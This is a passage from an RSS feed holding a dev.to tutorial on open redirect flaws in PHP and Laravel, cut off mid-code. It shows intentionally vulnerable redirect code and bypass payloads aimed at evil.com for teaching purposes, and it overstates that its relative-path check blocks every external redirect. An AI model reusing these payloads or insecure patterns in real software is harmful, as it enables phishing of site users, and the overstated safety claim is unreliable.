&lt;a href="https://kriosa.com/post.php?slug=secrets-management-laravel-env" rel="noopener noreferrer"&gt;Article 11&lt;/a&gt;: Secrets in Laravel — why &lt;code&gt;.env&lt;/code&gt; is only the beginning&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://kriosa.com/post.php?slug=session-security-php-developers-get-wrong" rel="noopener noreferrer"&gt;Article 12&lt;/a&gt;: Session security in PHP — what most developers get wrong&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://kriosa.com/post.php?slug=rate-limiting-laravel-php-brute-force" rel="noopener noreferrer"&gt;Article 13&lt;/a&gt;: Rate limiting in Laravel and PHP — how to stop brute force before it starts&lt;/li&gt;
&lt;li&gt;Article 14: Security headers in PHP and Laravel — the lines that harden every response&lt;/li&gt;
&lt;li&gt;Article 15: IDOR in PHP and Laravel — when changing one number exposes someone else's data&lt;/li&gt;
&lt;li&gt;Article 16: Mass assignment in PHP and Laravel — when user input becomes more than it should&lt;/li&gt;
&lt;li&gt;Article 17: Open redirect vulnerabilities in PHP and Laravel&lt;/li&gt;
&lt;li&gt;Article 18: This article — PHP type juggling and when 0 equals admin&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>webdev</category>
      <category>programming</category>
      <category>securuity</category>
      <category>php</category>
    </item>
    <item>
      <title>Open Redirect Vulnerabilities in PHP and Laravel — When Your Own Domain Becomes the Attack</title>
      <dc:creator>Nchiminyi — Founder, Kriosa</dc:creator>
      <pubDate>Fri, 28 Aug 2026 07:00:00 +0000</pubDate>
      <link>https://dev.to/kriosa/open-redirect-vulnerabilities-in-php-and-laravel-when-your-own-domain-becomes-the-attack-43cf</link>
      <guid>https://dev.to/kriosa/open-redirect-vulnerabilities-in-php-and-laravel-when-your-own-domain-becomes-the-attack-43cf</guid>
      <description>&lt;p&gt;The attacker does not need to trick users into visiting evil.com. They trick them into visiting yoursite.com which redirects them there automatically.&lt;/p&gt;

&lt;p&gt;This is the seventeenth article in a series on PHP and Laravel application security.&lt;/p&gt;

&lt;p&gt;So far we have covered:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Detecting SQL injection attempts in PHP logs&lt;/li&gt;
&lt;li&gt;Why URL encoding blinds most PHP security checks&lt;/li&gt;
&lt;li&gt;The decode bomb problem with unlimited URL decoding&lt;/li&gt;
&lt;li&gt;Why parameterized queries are the only real fix for SQL injection&lt;/li&gt;
&lt;li&gt;XSS prevention in Laravel and why &lt;code&gt;{!! !!}&lt;/code&gt; is the line between safe and hacked&lt;/li&gt;
&lt;li&gt;How attackers enumerate your Laravel app before exploiting it&lt;/li&gt;
&lt;li&gt;File upload security — the file that isn't what it claims to be&lt;/li&gt;
&lt;li&gt;Path traversal in PHP — how &lt;code&gt;../&lt;/code&gt; escapes your application&lt;/li&gt;
&lt;li&gt;Command injection in PHP — when &lt;code&gt;exec()&lt;/code&gt; becomes an attack surface&lt;/li&gt;
&lt;li&gt;Broken access control in Laravel — why being logged in is not enough&lt;/li&gt;
&lt;li&gt;Secrets in Laravel — why &lt;code&gt;.env&lt;/code&gt; is only the beginning&lt;/li&gt;
&lt;li&gt;Session security in PHP — what most developers get wrong&lt;/li&gt;
&lt;li&gt;Rate limiting in Laravel and PHP — how to stop brute force before it starts&lt;/li&gt;
&lt;li&gt;Security headers in PHP and Laravel — the lines that harden every response&lt;/li&gt;
&lt;li&gt;IDOR in PHP and Laravel — when changing one number exposes someone else's data&lt;/li&gt;
&lt;li&gt;Mass assignment in PHP and Laravel — when user input becomes more than it should&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Every article in this series follows the same principle understand the attack before you try to stop it.&lt;/p&gt;

&lt;p&gt;Open redirects are sometimes dismissed as low severity. That framing misses the real risk. A redirect vulnerability that sends users from your trusted domain to an attacker's phishing page is not low severity it is a trust weaponization attack that uses your reputation against your own users.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What an Open Redirect Is&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Your application has a login page. After successful login it redirects the user back to where they were:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;https://yoursite.com/login?redirect=/dashboard
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Your code:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="nb"&gt;header&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'Location: '&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt; &lt;span class="nv"&gt;$_GET&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'redirect'&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;
&lt;span class="k"&gt;exit&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;For a legitimate user &lt;code&gt;redirect=/dashboard&lt;/code&gt; works perfectly. They log in and land on their dashboard.&lt;/p&gt;

&lt;p&gt;An attacker crafts this URL and sends it to a victim:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;https://yoursite.com/login?redirect=https://evil.com/fake-login
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The victim sees &lt;code&gt;yoursite.com&lt;/code&gt; in the link. They trust it. They click it. They log into your application. Your application immediately redirects them to &lt;code&gt;evil.com/fake-login&lt;/code&gt; a page that looks identical to yours and asks them to enter their credentials again.&lt;/p&gt;

&lt;p&gt;The victim never saw &lt;code&gt;evil.com&lt;/code&gt; in a URL they were asked to trust. They only saw &lt;code&gt;yoursite.com&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;That is an open redirect. Your domain's trust, redirected against your users.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Why Open Redirects Are More Dangerous Than They Look&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;They weaponize your domain's reputation.&lt;/strong&gt;&lt;br&gt;
A direct link to &lt;code&gt;evil.com&lt;/code&gt; looks suspicious. Email spam filters flag it. Users hesitate. A link through &lt;code&gt;yoursite.com&lt;/code&gt; inherits your domain's trust. It passes filters. Users click without hesitation.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;They chain with other vulnerabilities.&lt;/strong&gt;&lt;br&gt;
An open redirect combined with an OAuth flow can allow an attacker to steal authorization codes. Combined with a password reset flow it may allow stealing reset tokens. The standalone impact varies by context in some cases it is genuinely low. But in authentication flows and OAuth implementations it can contribute to account takeover when chained with other weaknesses.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;They are permanent phishing infrastructure.&lt;/strong&gt;&lt;br&gt;
Once an attacker discovers an open redirect on your domain they have a phishing asset tied to your reputation for as long as the vulnerability exists.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The Four Places Open Redirects Appear&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Login redirect parameters — the most common:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;/login?redirect=https://evil.com
/login?return_to=https://evil.com
/login?next=https://evil.com
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Logout redirect parameters:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;/logout?redirect=https://evil.com
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Error page redirects:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;/404?return=https://evil.com
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Link trackers and URL shorteners:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;/go?url=https://evil.com
/track?link=https://evil.com
/redirect?to=https://evil.com
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;The Wrong Fixes&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Most developers who know about open redirects implement fixes that do not work. Understanding why they fail is as important as knowing the correct solution.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Wrong fix 1 — Checking for http&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="nv"&gt;$redirect&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$_GET&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'redirect'&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;strpos&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$redirect&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'http'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nb"&gt;header&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'Location: '&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt; &lt;span class="nv"&gt;$redirect&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="k"&gt;exit&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="nb"&gt;header&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'Location: /dashboard'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="k"&gt;exit&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;An attacker sends:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;//evil.com/phishing
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Protocol-relative URLs begin with &lt;code&gt;//&lt;/code&gt;. The browser treats them as HTTPS or HTTP depending on the current protocol. Your check looks for &lt;code&gt;http&lt;/code&gt; and finds nothing. The redirect executes.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Wrong fix 2 — Checking for your domain name in the string.&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="nv"&gt;$redirect&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$_GET&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'redirect'&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;strpos&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$redirect&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'yoursite.com'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;!==&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nb"&gt;header&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'Location: '&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt; &lt;span class="nv"&gt;$redirect&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="k"&gt;exit&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="nb"&gt;header&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'Location: /dashboard'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="k"&gt;exit&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;An attacker sends:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;https://evil.com/yoursite.com/phishing
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;or:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;https://yoursite.com.evil.com/phishing
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Your check finds &lt;code&gt;yoursite.com&lt;/code&gt; in the string. The redirect executes.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Wrong fix 3 — Partial parse_url() validation:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="nv"&gt;$redirect&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$_GET&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'redirect'&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="nv"&gt;$parsed&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;parse_url&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$redirect&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$parsed&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'host'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="s1"&gt;'yoursite.com'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nb"&gt;header&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'Location: '&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt; &lt;span class="nv"&gt;$redirect&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="k"&gt;exit&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="nb"&gt;header&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'Location: /dashboard'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="k"&gt;exit&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;URL parsing behavior can differ between PHP and browsers in edge cases involving characters like &lt;code&gt;\&lt;/code&gt; and &lt;code&gt;@&lt;/code&gt;. Checking a single parsed component without validating scheme and ensuring the full URL resolves as expected is not sufficient protection. Complete validation requires checking scheme, host, and ensuring the URL does not contain bypass characters.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Wrong fix 4 — Blacklisting specific domains:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The number of domains an attacker can register is unlimited. Blacklisting specific domains is not a security control.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The Correct Fixes&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Fix 1 — Whitelist approach — the strongest fix.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Never accept arbitrary URLs. Accept a key that maps to a known safe destination.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="nv"&gt;$allowedRedirects&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
    &lt;span class="s1"&gt;'dashboard'&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="s1"&gt;'/dashboard'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="s1"&gt;'profile'&lt;/span&gt;   &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="s1"&gt;'/profile'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="s1"&gt;'settings'&lt;/span&gt;  &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="s1"&gt;'/settings'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="s1"&gt;'orders'&lt;/span&gt;    &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="s1"&gt;'/orders'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="p"&gt;];&lt;/span&gt;

&lt;span class="nv"&gt;$key&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$_GET&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'redirect'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;??&lt;/span&gt; &lt;span class="s1"&gt;'dashboard'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="nv"&gt;$redirect&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$allowedRedirects&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;$key&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;??&lt;/span&gt; &lt;span class="s1"&gt;'/dashboard'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="nb"&gt;header&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'Location: '&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt; &lt;span class="nv"&gt;$redirect&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="k"&gt;exit&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The attacker cannot redirect to an external URL because the destination is never derived from user input. This eliminates the attack surface entirely.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Fix 2 — Relative URL validation.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;If you must accept user-supplied paths restrict them to paths relative to your own domain.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;isSafeRedirect&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;string&lt;/span&gt; &lt;span class="nv"&gt;$url&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt; &lt;span class="kt"&gt;bool&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="c1"&gt;// Must not be protocol-relative&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;str_starts_with&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$url&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'//'&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="c1"&gt;// Must not contain a scheme&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;preg_match&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'/^[a-zA-Z][a-zA-Z0-9+\-.]*:/'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$url&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="c1"&gt;// Must start with a forward slash&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nf"&gt;str_starts_with&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$url&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'/'&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="nv"&gt;$redirect&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$_GET&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'redirect'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;??&lt;/span&gt; &lt;span class="s1"&gt;'/dashboard'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nf"&gt;isSafeRedirect&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$redirect&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nv"&gt;$redirect&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;'/dashboard'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="nb"&gt;header&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'Location: '&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt; &lt;span class="nv"&gt;$redirect&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="k"&gt;exit&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A URL that starts with &lt;code&gt;/&lt;/code&gt; and contains no scheme is always relative to the current domain. There is no way to redirect to an external site within these constraints.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Fix 3 — Domain validation for absolute URLs&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;If you must allow absolute URLs validate both scheme and host precisely&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;isTrustedRedirect&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;string&lt;/span&gt; &lt;span class="nv"&gt;$url&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;string&lt;/span&gt; &lt;span class="nv"&gt;$trustedHost&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt; &lt;span class="kt"&gt;bool&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nv"&gt;$parsed&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;parse_url&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$url&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;empty&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$parsed&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'host'&lt;/span&gt;&lt;span class="p"&gt;]))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nb"&gt;in_array&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$parsed&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'scheme'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;??&lt;/span&gt; &lt;span class="s1"&gt;''&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'http'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'https'&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="nv"&gt;$host&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;strtolower&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$parsed&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'host'&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;
    &lt;span class="nv"&gt;$trusted&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;strtolower&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$trustedHost&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

    &lt;span class="c1"&gt;// Exact match or confirmed subdomain only&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nv"&gt;$host&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="nv"&gt;$trusted&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="nf"&gt;str_ends_with&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$host&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'.'&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt; &lt;span class="nv"&gt;$trusted&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

